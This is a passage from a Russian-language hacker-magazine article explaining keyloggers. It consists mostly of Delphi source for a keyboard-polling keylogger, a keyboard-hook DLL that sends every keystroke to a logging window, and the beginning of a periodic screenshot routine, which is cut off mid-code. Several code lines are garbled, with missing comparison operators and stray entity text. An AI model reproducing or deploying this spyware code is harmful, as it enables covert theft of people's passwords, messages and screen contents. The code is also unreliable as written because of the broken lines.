Повесть о разведчиках Зайцев Олег (z-oleg.com/secur) Спецвыпуск: Хакер, номер #060, стр. 060-054-3 Я описал лишь два примера, и конечно же, кейлоггеров существует великое множество. Сам по себе кейлоггер прост до безобразия. Вот пример кейлоггера, работающего по методу опроса клавиатуры: procedure TfrmMain.tmKeyStateCheckTimerTimer(Sender: TObject); var i, res : integer; S : string; begin S := ''; // Цикл опроса состояния клавиш for i := 0 to 255 do begin // Запрос состояния клавиши i Res := GetAsyncKeyState(i); if Res if MapVirtualKey(i, 2) >gt; 0 then S := S + char(MapVirtualKey(i, 2)) else S := S+'['+inttostr(i)+']'; end; if length(s) = 0 then exit; Memo1.Lines.Add('Нажаты клавиши "'+S+'"'); end; Событие tmKeyStateCheckTimerTimer должно вызываться таймером, задержка - 10-30 мс. Такие кейлоггеры применяются редко, так как несомненный лидер по распространенности - банальный Hook: library Key; uses WinTypes, WinProcs, Messages; const KeyEvent = WM_USER + 1; type TUnhookWindowsHookEx = function (hhk: HHOOK): BOOL; stdcall; TCallNextHookEx = function (hhk: HHOOK; nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; TSetWindowsHookEx = function (idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall; var HookHandle: hHook; hLib : THandle; UnhookWindowsHookEx : TUnhookWindowsHookEx; CallNextHookEx : TCallNextHookEx; SetWindowsHookEx : TSetWindowsHookEx; function KeyHook(Code: integer; WParam: word; LParam: Longint): Longint; var wnd: hWnd; begin if Code >gt; = 0 then begin wnd := FindWindow('TKeyForm', nil); SendMessage(wnd, KeyEvent, wParam, lParam); Result := 0; end else Result := CallNextHookEx(HookHandle, code, WParam, LParam); end; procedure SetKeyHook; begin hLib := LoadLibrary('user32.dll'); @UnhookWindowsHookEx := GetProcAddress(hLib, 'UnhookWindowsHookEx'); @CallNextHookEx := GetProcAddress(hLib, 'CallNextHookEx'); @SetWindowsHookEx := GetProcAddress(hLib, 'SetWindowsHookExA'); HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0); end; procedure DelKeyHook; begin if HookHandle UnhookWindowsHookEx(HookHandle); end; exports SetKeyHook index 1, DelKeyHook index 2; begin end. DLL, скомпилированная по данному исходнику, экспортирует две функции: SetKeyHook для установки хука и DelKeyHook для его снятия. Работа самого перехватчика предельно проста, так как все клавиатурные события передаются окну с именем 'TKeyForm' для анализа и регистрации. Многие кейлоггеры умеют не только записывать нажатия клавиш, но и делать скриншоты экрана с заданной периодичностью (или по заданному событию) и шпионить за содержимым буфера обмена, что реализуется очень просто. Для примера - простейший код, делающий снимки экрана через некоторые промежутки времени: procedure TForm1.Timer1Timer(Sender: TObject); var Image : TImage; ScreenDC : HDC; begin Image := TImage.Create(nil); // Получаем размеры экрана Image.Width := Screen.Width; Image.Height := Screen.Height; |